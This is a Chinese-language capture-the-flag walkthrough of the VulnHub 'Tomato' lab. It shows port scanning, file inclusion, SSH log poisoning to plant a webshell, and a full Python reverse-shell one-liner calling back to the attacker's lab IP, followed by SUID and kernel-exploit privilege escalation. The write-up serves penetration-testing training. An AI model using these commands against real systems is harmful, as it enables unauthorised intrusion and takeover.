靶场搭建
靶场下载地址:https://download.vulnhub.com/tomato/Tomato.ova
下载下来是zip压缩文件,解压后是.ovf虚拟机压缩文件直接用Vmvare导出就行
打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)
启动虚拟机
靶场搭建完毕
渗透测试
由于不知道靶机ip,所以需要扫描NAT的网段
147为kaii,所以158为靶机ip
扫描靶机端口服务开放情况
开放了21端口,存在FTP服务,且为vsftpd 3.0.3
开放了80端口,存在HTTP服务,中间件为Apache 2.4.18
开放了2211端口,存在SSH服务
开放了8888端口,存在HTTP服务,中间件为Nginx 1.10.3
先访问一下WEB
首页为一张图片
搜索一下敏感目录
没有发现什么敏感目录
扩大字典搜索敏感目录和文件
发现/antibot_image/目录
发现info.php为php探针
查看源码发现有一段注释的文件包含的代码
所以猜测存在image参数为包含文件参数
尝试包含/etc/passwd
发现果然存在包含参数,且存在任意文件包含漏洞
找到可以登录的用户tomato
尝试进行ssh登录暴力破解,没有成功
产生过hi包含公私钥文件,发现不存在
在php探针中发现没有开启远程文件包含
所以只能使用其它利用思路,尝试读取源码
发现也无法读取到源码
所以现在利用思路只剩下配合写入的webshell,通过文件包含来获取shell
所以需要查找写入点或者文件上传点
可以尝试通过日志写入
尝试通过WEB日志、SSH日志、FTP日志
WEB日志和FTP日志都尝试失败
通过SSH日志
发现成功包含了SSH的日志
所以我们尝试写入webshell
包含这个文件,发现成功执行命令
利用webshell反弹shell
存在nc,也存在python3
监听端口,执行以下命令反弹shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.52.147",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
成功反弹shell
查看所有目录,没有发现其它线索
进行提权
sudo提权
需要密码无法使用
查找看有没有权限配置错误的文件,属于其他用户,但当前用户可以修改执行的文件
find / -type f -user tomato -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
都没有发现
SUID提权
SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限
通过命令
find / -perm -4000 2>/dev/null查看是否具有root权限的文件
常用可利用的文件
nmap
vim
find
bash
more
less
nano
cp
awk
都不能利用
内核提权
发现存在相应漏洞
查看文件,有用法
上传文件
编译文件,执行文件
发现没有gcc
所以在攻击机上编译好后上传
但是编译失败
再尝试其它漏洞
将利用文档复制下来查看
找到使用方法和下载地址
下载文件,解压
编译,上传文件
发现也需要gcc,所以失败
再尝试其它的
复制下来,查看使用方式
编译后上传
赋予权限,执行
获得到最后一个flag
版权归原作者 奋斗吧!小胖子 所有, 如有侵权,请联系我们删除。